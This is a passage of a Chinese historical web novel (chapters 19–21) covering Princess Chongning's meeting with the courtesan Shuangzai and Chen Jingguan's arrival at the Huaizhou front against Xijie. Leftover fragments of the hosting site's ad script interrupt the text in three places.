从萧霖这里,他只能得到一套于萧霖自己而言完全自洽的说法,又或者他自己就是如此这般想的,也是如此这般活了四十多年。 “今日与皇上的交谈,我受益匪浅。预祝皇上春狩顺利。” 陈京观直起身,朝萧霖做拱手礼,萧霖望着他,直到他走到门口才缓缓开口。 “也祝你马到成功。” 陈京观没有再回应他,抬脚迈出了崇明殿的门槛,他推掉了要送自己出去的内侍,然后与不远处的平海对视,二人共同朝着宫门口走去。 “去了威岚坊?” 平海接过了陈京观手上的匣子,朝着他点点头。 “你看清楚那人的相貌了吗?” 陈京观对着平海说完,看到了远处的夏衍,微微朝他点头示意。 三个月不见,他已经从城门口的守卫调到了宫门口,这晋升的速度不太正常。但是陈京观没有多说什么,他现在最好不要与任何人走得太近。 在这座城里,他如今是许多人的眼中钉。 “那女子穿着纱衣,半边脸都隐在白纱之下,她身边只跟着一个看起来年岁不大的女孩,除此之外,再无他人。” 陈京观听着平海的话,脑海中浮现出他下马时瞥见的那架马车。 那马车看起来只是寻常人家出行的乘具,并无过多装饰,马车的帘子也盖得很严,没有一丝缝隙。而驾车的马夫看起来是第一次进崇明殿,刚进门时虽害怕却一直努力想将这富丽堂皇的宫殿都看一遍。 “女子……你没有看到蒋铎?” 平海摇了摇头,半晌,又有些欲言又止。 “怎么了?你想到什么就说。” 陈京观看出了平海的异常,他侧过身看了身边的人一眼,只见平海眉头微皱,像是在思量什么。 “那女子进去之后,我看到了一个眼熟的身影。” “夏衍。” 平海的话刚说完,陈京观就明白了他的意思。他刚刚看到夏衍时不似平常一般与自己一起行礼,陈京观很少会看到平海带着那样的表情。 “他是长公主的人?” 平海问陈京观,而后者没有回答。 他查过夏衍的背景,他家中还有两个妹妹,父亲身体不好,以前家里靠母亲一个人撑着,如若说他为了晋升去攀附崇宁,陈京观也可以理解,但是他总觉得没这么简单。 “平海,你会忘了挨饿的滋味吗?” 19. 何须隐瞒(四) 崇明殿的西南角,正对着威岚坊。 陈京观看到的那架马车将人送到威岚坊的偏门,便有人带着马夫去领赏银,随后连人带马就被拉去了后院。 “民女参见长公主殿下,殿下千安。” 马车上的女子由崇宁的人带着,径直走到了内室,见到崇宁第一眼,便跪下行礼。 望着眼前的女子腰肢纤纤,只是简单的倾身,已是风姿万千,崇宁向她走了两步,只见她脖颈处用帷帽垂下的纱挡着,看不清什么,便伸手将她的白纱扯掉,那女子慌了神,跌坐在地上。 “你不是霜栽。” 跪在地上的女子发着抖,想要去捡地上的帷帽,可她刚做出动作,那双玉手便被崇宁踩在脚下。 “我只是说见见,霜栽姑娘连这个面子也不给我吗?” 说着,崇宁将自己的目光转向跟在白衣女子后面的小随从,她望着眼前看起来未满二八的女子,她未着粉黛,身上是一套看起来很廉价的粗布绸子,但是依旧难掩其五官的精致。 “殿下慧眼,只是没想到我的伎俩如此拙劣吗?” 那女孩的声音很清脆,带着刚脱了稚气的清爽,她微微直起腰,但目光却依旧望着地面。 “若殿下只凭那支鸢尾花识人,未免太轻率了,如今我脖颈上,也无纹样。” 女孩的表情从进屋后就未变过,崇宁将跪着的人上下打量了一番,抬脚走到了女孩面前。 “妙音琵琶与歌喉,泯川三界第一流。问得仙女源何处,玉手纤纤指琼楼。这首诗,她还配不上。” 跪在地上的女孩转头望着崇宁,微微勾起嘴角。崇宁此刻才将女孩的全貌一窥。她自诩年轻时样貌非常,可见到霜栽,她也要夸上一句人间不多得。 “殿下谬赞,一些坊间混语,怎么还入了您的耳朵。” 霜栽看着崇宁的眼神里没有一丝畏惧,明亮的棕眸像是卧着一湾泉水,身边的白衣女子握着自己的手蜷在一边,霜栽摆了摆手示意她退下。 “我没想到的是霜栽姑娘身边的也多是美人,”崇宁盯着那个背影,对着守在门口的宫女说道:“带她去偏殿吧,让人给她上最好的药。” 等宫女退下,这内室便只剩下崇宁与霜栽二人。崇宁朝霜栽伸手,霜栽识相地攀着崇宁的手起身,随后崇宁绕着她看了一圈,啧啧称叹。 “不知若是你穿上刚才那一身素衣,该是何等曼妙。” 霜栽没有应声,微微颔首向崇宁笑着。 她早就领教过崇宁的手段,于是本打算先托自己的徒弟装作自己的样子,去探探崇宁的意图,可是崇宁上来便给自己上了一课。 外界所传有关崇宁狠辣的消息,如今看来皆是真的,甚至还要再真上几分。 “不知殿下不远千里寻我到这阙州来,是想让我做什么?” 崇宁没搭话,迈着步子走到榻边,然后褪去鞋袜赤脚卧在榻上。她摆了摆手,示意霜栽过来。 “我威岚坊朝南,日头盛得时候房子里还有些燥热,你若是觉得闷了,也褪去外衣吧。” 霜栽点点头,她明白崇宁的意图,她将自己的领子稍稍敞开,恰好能露出后颈。 “我的人说你脖颈处的鸢尾花很好看,怎么没了?” 霜栽又将自己的衣服朝下拉了拉,原本应该有花纹的地方一片雪白,倒是靠近肩胛的位置有一道褪色的红色疤痕,本不醒目,可是由霜栽无瑕的皮肤衬着,倒也让人觉得可惜。 “那鸢尾花是妈妈找人用特殊颜料绘的,平日里显不出来,只有遇水才能绽放。” 霜栽说着,将崇宁放在手边的茶杯拿起来,毫不犹豫便朝自己的脖颈处倒下去。 那茶水是宫女刚沏的,还有些温度,如今倒在霜栽的背上,那朵鸢尾花慢慢地开,那周遭的皮肤也透着血色。 “姑娘何苦。你说了,我便信你。” 崇宁嘴上惋惜着,但是目光却未曾从霜栽的脊背处移开,等着那朵花彻底显色,她便缓缓伸手去碰。 崇宁的手指触到的时候,霜栽还是顿了一下。 “听闻姑娘只为妓不作娼?” 崇宁的手慢慢朝下,抚着那朵鸢尾花的每一处,像是在欣赏不可多得的宝物。 “我少时家道中落被卖到了泯川楼,幸得一位姑姑教了我琵琶,她说能在这世道混口饭吃,怎么都不丢人。但是若能用技取悦他人,便万不能用己。” 霜栽的话落了,崇宁的动作也停了。霜栽背对着崇宁,便没有看到她脸上闪过的一丝恍惚。 “那位姑姑还在泯川楼吗?” 崇宁替霜栽拉了拉外衣,霜栽也顺势整理好了自己的衣领,她摇着头,眼睛依旧低垂。 “不在了,姑姑后来回家了。” 崇宁没再说什么,点了点头,她重新将那杯茶蓄满,往霜栽的方向推了推。 “尝尝,我叫人去遥州买的茶,今年第一批龙井。” 霜栽望着杯中的茶汤,里面还有几片茶叶沉在杯底,随着水波的动荡起起伏伏。 “我如今对着殿下全盘托出了,那殿下能否告诉我您的真正目的?” 崇宁笑着,一手撑着下颌,一手轻轻在桌子上打着节奏。 “万阳九年的冬末,阙州两大宅院一夜间都成了灰烬。陈家除却外逃的陈频,其余人全部死在那场大火中。而孟家家主孟知参,在宣威坊以百字血书泣诉我与蒋铎篡政夺权,然后撞死在了狱中。孟家其他人,变卖他乡。这些故事,你可都熟悉?” 崇宁的话字字落在霜栽的心上,但是她脸上却没有任何波澜。 “这些事,只要是南魏的子民,应当都知道吧。” 霜栽伸手扶着那支茶杯,将茶水连同杯底的茶叶一同饮尽,可嗓子里的酸涩却未冲淡半分。 “但是你作为孟家的女儿,即使不为娼,也不好受吧。”崇宁的声音如同她倒在杯中的茶,霜栽喝下去,只觉得清淡中带着苦涩,“每日带着笑脸迎着那些大腹便便的客商,身上的料子聊胜于无,脸上的脂粉都是廉价的香料,手指也早就让琴弦磨出了厚厚的茧。你原本,该是太子妃最好的人选。” 霜栽的另一只手原本藏在袖子里,如今缓缓握起,那长长的指甲嵌在皮肉里,如同抵在她心上的尖刺。 “殿下什么都知道,那还找我来做什么?为了让我重回旧地,然后替父兄上一炷香?” 霜栽说着,最后还是没忍住笑出了声。她目光灼灼地盯着眼前的崇宁,可眼前的人依旧是刚才的模样,甚至嘴角的笑意都未曾消退。 “你恨我,你该恨我,你父亲最后赐死的诏书盖得是我的印。” 崇宁慢慢朝霜栽探身,轻轻握住了她早就紧握着茶杯的手,崇宁的手很冰,与杯中的热茶形成了鲜明的对比。 可霜栽没有动,她任由崇宁握着,然后努力回之以微笑。 其实她在接到崇宁请她入宫的旨意时,试遍了自己这些年收集的各类匕首,想着到底是何种利刃才能将其一击毙命。 但她后来登上马车的时候什么也没带,甚至连平日防身的飞镖都留在了卧房里。 她早就死了,可她这条命留着还有用。 只是杀一个崇宁,要怎么能换她家三条人命。 “那殿下如今是要我如何?时隔八年,才想起来取我的性命?” 霜栽冷笑着,不经意间将自己的手从崇宁的手中抽了出来,倒是那杯中的茶汤,竟一滴也没撒出来。 反观崇宁,手里突然空了,她也只是挑了挑眉,然后继续说:“当年陈频在朝会上与蒋铎正面交锋,我不信作为陈府幕僚的孟知参毫不知情。若只是一个陈频昏了脑袋,我能理解,可为何你父亲对此事未加阻拦?你当真就没怀疑过什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 霜栽没有说话,等着崇宁继续。 “所以说,直到陈频大闹朝会前,你父亲也被他蒙在鼓里。” 崇宁的话霜栽听自己的哥哥说过,就在去往廊州的路上。 当时陈频执意阻挠南魏出兵,与蒋铎吵得不可开交。可等那日下朝,萧霖便一封圣旨,调离了停在东亭边境外的南魏军队,此中含义不言而喻。 那之后霜栽常能听到父亲的叹息,但日子还是依旧如常地过着,直到陈频被任西芥随军参谋。 那一夜,孟知参的书房长灯未灭。 自那时起,陈家的小公子经常到孟家来玩,有时留得晚了,就睡在孟遥鹤的屋子里。 陈府被烧得那一晚,也是如此。 但是她答应过父亲,她那晚没见过陈景豫。 “所以您是想说,父亲是被陈频连累了对吗?” 霜栽望着崇宁。其实今天崇宁对自己说的,她在过去的八年里想过无数次,也分析过无数种前因后果,从陈频为何一反常态到父亲为何非要去堂前痛骂蒋铎,其中许多缘由她至今也没想清楚。 但是父亲的死与陈频有关,这是她与崇宁的共识。 “你父亲在陈频被降罪后和着了魔一般在崇明殿前骂了蒋铎三日,他的死,是他自找的。可是你父亲着了谁的道,你可曾想清楚了?” 霜栽明白了崇宁的用意,只是这已经过了八年,陈家的人也尽数都被崇宁的人灭了口,如今她再来找自己…… “您是觉得陈京观是陈频之子?” 霜栽说完抿了抿嘴,望见崇宁朝自己投来欣慰的目光。 其实在陈京观起势后她也有一样的猜测,但是后来又否定了自己的想法。 那时蒋铎派人来孟府查抄家产,清点孟府的人数,陈京观装作是孟家的书童,连同孟家其他几个小书童被关在了另一辆马车里。 车队行至廊州边界时陈京观那辆马车翻了,连人带马都摔进了悬崖,她亲眼看到的。 “那时官府贴出的告示不是说陈府失火,所有人都死了吗?” 霜栽的语气里充满了玩味,她刻意加重了“失火”二字,而崇宁也自然听出了她的意思。 “里面的是都死了,但是就怕,有人留了一手。” 此时到了正午,威岚坊的窗纸透着高悬的日光,尽数洒在霜栽的身上,那阳光暖烘烘的,但就如同刚才那杯热茶,只能灼热皮肤,却暖不到霜栽心里。 “殿下若是怀疑父亲,恐怕只能到时候亲自问问他,反正从我这,我只能说,他死了。” 与崇宁把话说开了,霜栽也就没了那么多掩饰。她的言语间处处透露着挑衅,但是她的话也都是真的。 崇宁重新打量了一遍眼前的人,她之前没见过身为孟府千金的孟郁妍,但是听自己那位侄子绘声绘色和自己描述过孟家妹妹。 性子温婉,糯糯的如一颗团子。 这八年,从霜栽身上已经全然看不出孟郁妍的影子了。 “那姑娘有没有兴致陪我演一出戏?我想着,你应该也想知道那大名鼎鼎的少将军,到底是何许人也。” 见霜栽没有直接拒绝,崇宁便赤着脚站了起来,迈着步子朝自己的妆台处走去,从最里面的柜子里拿出一个小盒子,又在里面找出一个玉瓶。 “这个,会让你双手暂时无力,一颗可保一个时辰,旁边的就是解药。你近日留在我为你安排的宅子里不要随意走动,等需要的时候,你吃上药来威岚坊一趟,我们验一验这陈少将军的真身。” 霜栽接过了崇宁递过来的玉瓶,她没有当下就答应崇宁,但是她将玉瓶收了起来。 “您怎么敢肯定陈京观会为我寻药?” 崇宁深吸了一口气,想到了什么,自顾自地笑,然后转身对着霜栽,缓缓开口。 “他可是活菩萨啊。” 20.初入西芥(一) 阙州的春来得早,故而往年春狩大多是三月中,赶四月初皇帝就回来了。今年萧霖不仅推迟了时间,更是直到五月初也没有要回宫的迹象。 他每日在泯川江畔骑马钓鱼,有时带着四皇子去山林里猎鹿,有时又装作游商跑去百姓家里收一些稀松平常的药材,乐不思蜀。 如此,崇明殿里那些杂事自然都落到了蒋铎头上,但他毕竟只是臣,有些落印的事还是得上头的人拿主意,所以他每三日去一趟威岚坊,汇报需要崇宁审阅的奏折,以及陈京观在家的动向。 这位处心积虑来到阙州的少将军并没有像其他人预测的一般,上来就与蒋铎争权。他赴任已一月有余,可正巧碰到皇帝出宫,他也乐得自在。 “他依旧每日早起去茶摊吃一碗素面,带着两个下人满大街溜达,午饭时就去玉满楼点两个菜,然后骑马在景州的田间地头和庄稼户聊天,这样的日子过了快一个月了。” 陈京观推掉了皇城底下的宅院,特意将自己的宅子选在了阙州最偏僻的县,临近景州,每日若要上朝路上需半个时辰,故而他常以此为由告假不去。 他如今所授的只是个名义上的封号,蒋铎对他的怠惰无从下手。 崇宁翻看着蒋铎递过来的折子,那折子里罕见出现了几道劝诫皇帝早日回朝亲政的。 往日蒋铎从不将这类折子递到崇宁面前,只是萧霖出去快一个月了,难免让那些本就对其不满的人道上两句牢骚,自己看得多了,蒋铎便也想让崇宁瞧上两眼。 “他俩还真是天生的君臣,一个去崇州狩猎,一个就在景州种地,把一推烂事丢给我,他们倒是自在。” 语毕,崇宁手上的折子也应声落地。她这几日要见朝臣,每日都早起梳妆,今日是律例规定的常训,她还着了华服,满头的珠翠随着她的步子微微泛着光。蒋铎见她往自己这边来了,便朝后退了一步,看着崇宁走到窗边。 “你说,当时要是我来坐外面的位子,会不会也是如此?我还能少受些委屈。” 还没等蒋铎出声,门口候着的内侍就连滚带爬地闯了进来,他跪在地上扶着帽子,嘴里的话断断续续。 “气喘匀了再说话。” 崇宁的语气里尽是抑制不住的怒气,那内侍顿了顿,朝着蒋铎和崇宁的方向各磕了一个头。 “启禀殿下,西芥的兵打进来了,昨晚拿下参州,今日直奔槐州去了。” 内侍此话一出,威岚坊内一片寂静。只见崇宁转身,望着面前的内侍,片刻后俯下身子,眼神里像是藏着一把淬了毒的刀子。 “把你刚才的话,传给景州和阙州的两位,我一介女流,指望我上阵杀敌?” 听闻崇宁的话,那内侍不禁咽了咽口水,跪在地上应了一声便朝外跑。 这崇明殿藏不住消息,内侍前脚走出去,没过多久隔着窗子就能依稀听到宫人们的议论,而屋子里的两人习以为常了,法不责众,总不能出去封了所有人的口。 半晌,见崇宁依旧不为所动,蒋铎还是开口问了:“殿下有何打算?” 崇宁听着蒋铎的话,突然发笑,她伸手拆掉了头上最重的珠钗,又将最外层的锦绣褪去,恢复了如常的样子,整个人缓步走到榻旁坐下。 “他们戏台子都搭好了,不让他们唱一出,怎么对得起他们这么久的准备。” 与此同时,西芥的军报自然也出现在了陈京观手里。 他换上了便于行进的常服,少见的挽了发,天还未明就与平家兄弟朝着槐州的方向去了。“少将军,我们不等军令?” 平海一边骑着马一边侧过头去问,只见陈京观缓缓摇头,从怀里拿出那日从崇明殿拿走的匣子。 “他给我的这个,就是军令。” 说话间,平海察觉出了陈京观脸上的笑意,像是蓄谋已久的心事终于落听。 也正是如此,这次行军,陈京观比以往都积极,策马的动作也更张扬。 从阙州到槐州大致有四五百里,其间多是丘陵和险坡,可陈京观一刻也不停地跑了十日,终究在探子所述的西芥总攻之日前,到达了平远军在槐州城外的驻地。 在他到来之前,董辉已经领着突击部队朝着西芥的后方打了三回,路数和西芥骚扰参州时一样,每到夜晚就跑到对方的军营里放一把火,然后绕着外围将他们的马舍或者帐篷打掉。 西芥是马上民族,北梁之所以能与之抗衡也是因为北梁的骑兵兴起,而南魏惯常使用步兵,所以西芥才敢多次挑衅,就是仗着南魏不敢追出来。 现如今平远军凭着早年在昌安营练下的一身骑术,出其不意间毁掉了西芥的一支先锋营,同时擒到贼首多摩罗。 “少将军,此人怎么处理?” 陈京观翻身下马,将手里的缰绳递给迎过来的兵士,随着董辉走到帐中。 刚一掀开帘子,就看到一个彪形大汉跪在帐子中央,他双手被系在身后,整个人被自己的长枪定在地上,身边两个看护的守卫见到陈京观进来,才将目光从他身上移开了片刻,拱手行礼。 这帐子是专门为俘虏所制,五月的槐州已经是初夏的模样,四面不透风的细纹布再加上慢慢升起来的太阳,这帐子宛若一个文火慢炖的蒸锅。 陈京观瞧着眼前的人狼狈地冒着汗,肩膀和背部都有长刀留下的痕迹,如今已成了黑色的血痂,就连他引以为傲的长发也变成了一团乱麻,上面隐约还能看到斑斑血迹。 “多摩罗,西芥的二等民?想用军功换一个一等的身份?” 西芥是传统的少数民族部落,世代都是沿袭王室,南魏风尚兴起后他们开始给自己起一些汉语的名字,而区别阶级最简单的方式,就是名字的长短。 两个字是王室和侯爵,三个字是平民,四个字,便是奴隶。平民想要跨越阶级,只能靠军功。而奴隶,永远只能是奴隶。 陈京观的声音回荡在帐子里,但那叫作多摩罗的男子却不应声,他整个人趴在地面上,因为汗液地过度蒸发已经达到了严重缺水的程度,整个人看起来如同刚捞上来的落水狗。 “跟你出来的都是遏佐的亲兵,我纵然放你回去他也不能留你性命。” “那你留我做甚,不如一刀给我个痛快。” 听闻陈京观的调侃,多摩罗终于开口。他的嘴角因为缺水刚一张嘴就裂开了,倒是渗出来的几滴血让他尝到了久违的液体的滋味。 “你活不下去,我不可能将你活着放回去。”陈京观的语气很轻易,他说完便听到了多摩罗的轻笑,“只是我好奇,你为什么觉得遏佐能胜?如若他这一仗败了,你别说是升一等民,你连二等都保不住,永生永世你的后代只能在腾里沙漠种树或者去木尔斯放羊。” 面对陈京观的提问,多摩罗沉寂了半刻,他缓缓抬头,想用肩膀将自己的上半身支起来,陈京观看到了,示意两边的守卫去扶他。 “你还真是活菩萨。” 此时的多摩罗终于能将眼前的人看清,其实他在出兵前就被告知,这一次他或许面对的是不同以往的南魏军队。他对此本来是嗤之以鼻的,南魏人无论从身量还是身手,都不是西芥人的对手。 但是他越靠近南魏边城,“陈京观”这个名字出现的次数就越多,他大体上通过传闻和探听到的消息在自己心中描摹出了一个少年将军的形象,可是看到陈京观的这一刻,他觉得自己之前所想的,与眼前的人完全不同。 相较于过去他遇到过的南魏人,眼前的人有不属于南魏的血性。 可他们都叫他活菩萨。 “那我好人做到底,董将军。” 陈京观一边说着一边侧头,董辉也自然明白了他的意思,示意旁边的人倒了一杯茶。 那人本想着直接倒给多摩罗,可陈京观接过了那杯茶,他抬着多摩罗的下颌,手指微微用力,将那杯茶一滴不漏灌进了眼前的人嘴里。 “平日你们西芥不饮茶吧,尝尝,虽比不上遥州的单枞,但是比你们直接喝生水好点。” 多摩罗本来还品味着残留的茶叶香,听着陈京观的话,他二话没说就将没有咽下去的水全朝着陈京观吐了出来,溅湿了陈京观的袍子。 “不识好歹!” 两边的守卫见状,上去就给了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多摩罗一耳光,而多摩罗嘴角本就流着血,现在再加上一记耳光,彻底让他嘴里的血腥气压住了那丝茶香。 “我就是实话实说,你倒还生上气了,你们那里许多不治之症都是因为不良日常习惯所致,我说得是不是真的你心里清楚。” 陈京观拉住了还要上手的守卫,随意地拍了拍长袍的下摆,脸上没有愠色倒是有几分可惜。 “这衣服我很喜欢来着,你要赔我的。” 此时的多摩罗又变成了陈京观刚进来时的模样,自顾自跪在地上,可能是觉得陈京观吵闹,索性闭上眼睛不再看他。 “我好歹给你了一杯水,你们西芥人不是也讲究滴水之恩吗,我刚才的问题你还没答。” 多摩罗微微皱着眉头,可依旧跪得笔直,而陈京观就在原地一直等着他开口,两个人僵持不下。 “算了,你不想说就不说,董将军,你处理吧。” 陈京观收了收脸上的笑,迈步就要往出走,而他走后没多久,那两个守卫就拖着一个布袋子出了帐篷。 “他临死前一直念一个名字,好像是西芥语,我没太听懂,” 在董辉的语气里,陈京观也听到了惋惜。 其实在之前的军报里董辉多次提到这个敌方将领。他虽然是第一次带兵,但是手段和谋略都很老练,夜袭的计划也是他的主意,那几次他带兵的夜袭,都没伤岑州百姓。 而且他本职原是一名铁匠,他所带部队的刀都他打的,削铁如泥,如今充了军械,被那几个新来的小孩抢着用。 “罢了,把他送回腾里吧,小心巡逻的西芥兵,他们若是找到他了还是会斩首的。” 虽说西芥在恪多的领导下增加了对汉文化的学习,可是崇尚动物文明的他们依旧保持着最基本的战斗习惯,无论是主动投敌,还是被俘,只要西芥军人出现在对方军营,等他回来一律要被斩首示众,美其名曰,保证军队纯洁。 “对了,这是他的令牌,我唯一能找的证明他身份的东西,但是上面也是西芥语。恐怕找不到他家人。” 陈京观望着董辉手里的古铜色腰牌,那上面还染着血垢。他凭着这几年往来西芥学会了一些西芥语,认出那腰牌上除了多摩罗的名字和军职外,还歪歪扭扭刻着一个人的名字。 “我看看。” 陈京观接过来那枚腰牌,用手抹了抹,下面那一行字像是后来刻上去的,或者说,打上去的。 “赞木琪徳。” “什么?” 董辉没有听懂陈京观的话,只听他又念了一遍,感觉像是一个女子的名字。 “把腰牌收好,以后若是遇到一个叫赞木琪徳的人就把它交给她,估计这是多摩罗最后的念想。” 董辉点了点头,把那枚腰牌收进了自己的护甲里,他低头时,还能看到自己手上的没洗干净的血。 其实作为打了那么多年仗的老兵来说,他不该再有这样的感情,可是跟着陈京观,他似乎也变得敏感了。刚才抓着多摩罗的头发时,他听到了他那句带着口音的“谢谢”。 “少将军,”董辉叹了一口气,“按西芥的计划,今晚丑时遏佐会带亲兵来攻打槐州,他目前还不知道您赶回来了。” 听到那个名字,陈京观喉咙一紧,不知为何,他还真有些想见见他。 “知道了,继续准备着,遏佐狡猾,多提防些。” 说罢,他的目光随着眼前拉车的男子移动,朝着槐州城门看去。 平远军在出发前就写了信给槐州知州,让府衙帮着百姓撤离。其实看惯了盛州知府那般的人,陈京观也不指望槐州知州遵命行事,他只求一个仁至义尽。 不过如今的槐州城,除了平远军,确实再无他物。 陈京观收回目光,又转身望着眼前在做最后准备的守城士兵,那里面除却平远军的军服,竟还混杂着许多南魏守军的服饰。 “槐州守军还在?按照惯例,他们不该早就跑了吗?”陈京观的语气不算太好,还没等董辉说话,他背后便响起一个带着些年纪的声音。 “我薛磐还在,他们不能跑。” 21.初入西芥(二) 闻言,陈京观转身,只见眼前说话的是个须发皆白的老者。他穿着一身褐色长袍,那上面绣了几支毅然挺立的文竹,他挽着袖子的手里还拿着一根麻绳。 或许正是因为他刚才埋首同身边的兵士一同扎藩篱,陈京观从他身边走过时竟没有察觉到异样。 “您是?” 那老者将手里的东西递给身旁的仆从,躬着背朝陈京观行礼,举手投足间都是君子的谦逊。 “在下槐州知州薛磐,见过少将军。” 薛磐,宸妃薛雯昭的父亲。 不过陈京观识得他的另一个身份,薛君慎。他是陈频早年间在朝堂上的故友,但陈京观从未见过他。 听父亲说,他与薛磐也只见过两面,一次是殿试一见如故,另一次便是送薛磐去槐州赴任,除此之外,多是一月一封信的交情。 陈京观听到这个名字有些发愣,没想到薛磐这么多年依旧守在槐州。其实他若想进京养老,只凭宸妃的恩宠,怎么也能混个御史。 “是我冒犯了,还请薛知州海涵。” 陈京观也弯腰回礼,朝着薛磐的方向走了几步,等着他靠近了,薛磐便开始打量他。 对于这个从雍州起势的小子他自然也是听过的,不过民间的传言和朝堂上的评价分化严重,薛磐为人谨慎,在没见到真人前不敢妄加议论。 如今瞅着眼前的男儿,要说他是武将他也信,毕竟只是看上去就高大结实,可是他周身又沾染了些文墨气,与平日里间的习武之人有所不同。 “少将军客气,您一路赶来辛苦,就是我槐州如今是空城一座,没什么能招待您的。等打完仗,老夫一定设宴款待。” 不知为何,陈京观觉得薛磐说话让人听着踏实。若是旁人对自己来上这么一句,他定然觉得是嘲讽,可眼前的人说出口,他却真能领会到其中三两分真情。 “知州哪里的话,武将上阵,职责所在。倒是您,”陈京观停顿了一下,斟酌着自己如何将话说得没那么别扭,可脑子里遣词造句了半天,也只是憋出来一句,“文武双全,临危不乱。” 听了陈京观的话,薛磐哈哈大笑,不过陈京观的话倒是拉近了二人的距离。 他拍了拍手上的土,走近了朝着陈京观说:“少将军想说得老夫都明白,不过这个评价老夫受不得,我可拿不起那千斤的长刀。我握了一辈子笔杆子,满肚子都只有文人酸语。” “可文人风骨才是南魏之本。” 陈京观盯着薛磐的眼睛说得很认真,这是他的真心话。 其实若没有家里出的那些事,父亲本是打算让自己科举入仕的,算起年岁,今年或许还真能中榜。 不过如今的自己,也还是踏进了那崇明殿,不过是换了个方式,换了个身份。 “少将军此话老夫领下了,就凭您这一句话,我也不能退啊。” 薛磐的话字字真切。而陈京观在那阙州待了小一个月,所见之人都是话里有话,词语中不是刀子就是陷阱,久而久之他觉得自己也变得尖酸刻薄起来。现在再面对薛磐,只需几句话他便能看到眼前人的拳拳忠心。 果然那阙州不可久居。 “可刀箭不长眼,若到时候打起来了,我怕也是护不住您。” 薛磐闻言只是笑着摇了摇头,揭起自己的长袍,只见他腰间别着一把制式华丽的匕首,他一边摸着一边说:“昭昭送我出城时给我的,我三十年从不离身。那长刀我是拿不起来,可是若真有贼人闯到我面前,我也要让他见识一下这匕首的厉害。” 眼前老人谈起女儿时,依旧唤着她的乳名。算起来他来槐州已有三十一个年头了,除却每年中秋夜宴邀请百官入朝,他统共也就见过女儿三四次,还多是下了朝远远望着她的宫殿。 “再说了,”薛磐收起匕首,脸上染了一丝落寞,“老夫六十二了,夫人两年前也先我一步去了,昭昭有大皇子护着,我其实也没什么舍弃不了的。我啊,早就是槐州城墙里的一块砖了。” 说到这,薛磐的声音里带着些许哽咽,陈京观看着眼前的老人,心里有股说不出的情绪。可他庆幸南魏还有这样的人活着,他庆幸他还活着。 “薛知州,请受陈某一拜。” 语毕,陈京观便跪倒在了薛磐面前,薛磐要去扶,可他还是坚持磕完了三个头。 “少将军您这是,老夫受不起啊。”看着陈京观拜完,薛磐连忙搀住他的手,“我这辈子其实没为槐州百姓作出过什么功绩,我薛某人不才,也只能在这时候挡在前面。” “足够了。” 陈京观起身后朝薛磐笑了笑,又低头看着握住自己的这双手,那上面有风沙留下的细口,也有刚才干活时磨破的血印。官至五品,他的双手不该这么粗糙的。 可薛磐在那偌大的南魏吏部表中始终是不起眼的一个,而他所处的槐州也是南魏九州中最无人问津的一个,他们在天高皇帝远的地方就这么默默守着。 不过薛磐的话,当然也多是自谦。其实自他到任后,槐州再也没有传出过饿死人的消息了。他所住的宅院与府衙只有一墙之隔,是一个小却雅致的院落,平日里府衙放班后他便敞着府门,无论是谁家的事只要来找他,他永远披着外衣就上了堂。 更何谈在这次西芥的进攻中,作为离西芥更近的州县,它却比参州守得更久,城中的百姓也并没有遭到什么大损失。 这一笔笔功绩,都不该抹去。 而薛磐瞧见了陈京观脸上的笑,那一瞬他的眼睛竟还有些湿润,不过如今不是唠家常的时候了,他正了正衣冠,微微贴近陈京观。 “少将军,我们槐州城虽然大,可是因为接近西芥又远离皇城,但凡家里有些权势的都走了,拢共也就剩三万人,”说到槐州的状况,薛磐脸上还有些臊,“其中大多也都是妇孺和老者。我们临时募来的兵加上府衙的守军,大致有一千人,我把他们都交给董将军了。” 陈京观点点头,他看得出老人语气里的愧疚是真的,可他觉得也是这低下头让他觉得这一场仗必须胜。 “放心,我们会把他们带回来,”陈京观说完像是突然想到了,朝薛磐笑了笑,“还有,您别叫我少将军了,叫京观。” 闻言,薛磐连忙推脱,论了些位高权重、品阶高低的话,可陈京观握住了他有些局促的手,说道:“我这个将军是平远军的兄弟给我挣来的,可您这个知州,是您年少时的笔墨与一辈子的勤恳换来的。” 听到陈京观这番话,薛磐也不再言语了,只是后来陈京观让他去后方休息时,他又用这些话回给了陈京观。 两个人经历了刚才那番推心置腹,都少了些对彼此的猜疑,陈京观便也就放任薛磐去做活了,不过安排了席英做其护卫。 而他自己在赶到槐州时已近中午,忙着处理了多摩罗的事还没顾上吃饭,本想着再熬一熬去营里找些干粮,可又是一忙起来就忘了时间。 傍晚时分,看着大家都饥肠辘辘,薛磐便招呼人在府衙的厨房忙活,做了些简单的吃食。虽然说不是美味,可是寻常的饭菜最暖心。 “京观,州府的粮仓只剩些白面了,我让人蒸了馒头烙了饼,你吃哪个?” 薛磐赶过来送饭的时候陈京观还在盯着城门的最后一道防御。其实槐州临西芥,往日基本都是战备状态,守御的东西基本都能用,就是城门的门闩有些朽,他便派了董辉带着平芜去周边寻替代品。 “馒头吧,谢谢薛知州。” 陈京观朝薛磐笑,还没等薛磐的帕子递到他手里,就见他将手放在衣服上抹了两下,然后拿起一个馒头就开始大快朵颐。 “还真是小孩习性。” 如今二人也算是熟络了,瞧着陈京观这副样子,薛磐不忍打趣道。 “我听董将军说你不过二十?算起来竟比桓儿还小上两岁,真是自古英雄出少年。” 陈京观嘴里嚼着馒头,接过薛磐递过的水,顺了顺嘴里的馒头碎屑,有些咕哝地说:“那您就是老当益壮!” 薛磐被陈京观逗笑了,望着眼前的人喜欢的不得了。他把手里剩下一个馒头也递给陈京观,然后往城门处靠了靠。 “我刚听你同工人讲是说这门闩朽了?那简单,我院子里有棵梨木,我搬进去的时候就听说已经长了百年。我瞧着这门闩做起来也不复杂,我带工人们去砍,赶着子时怕就能成。” 薛磐说完就要往自家院子里跑,陈京观忙吃掉手里最后一点馒头追了上去。 “百年的木头了,让它长着吧,我派董将军去寻了,这乡野一定能找到合适的。” 听了陈京观的话,薛磐笑着摇了摇头。 “你以为这里还是你雍州?抑或是那阙州?我们槐州靠近腾里沙漠,恪多每年派那么多人去种树都种不活几棵,你想在这短时间找到比我家那木头还合适的,怕是难。” 说完,薛磐就招呼着身边的工人朝城里走去,而陈京观也听进去了他的话, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 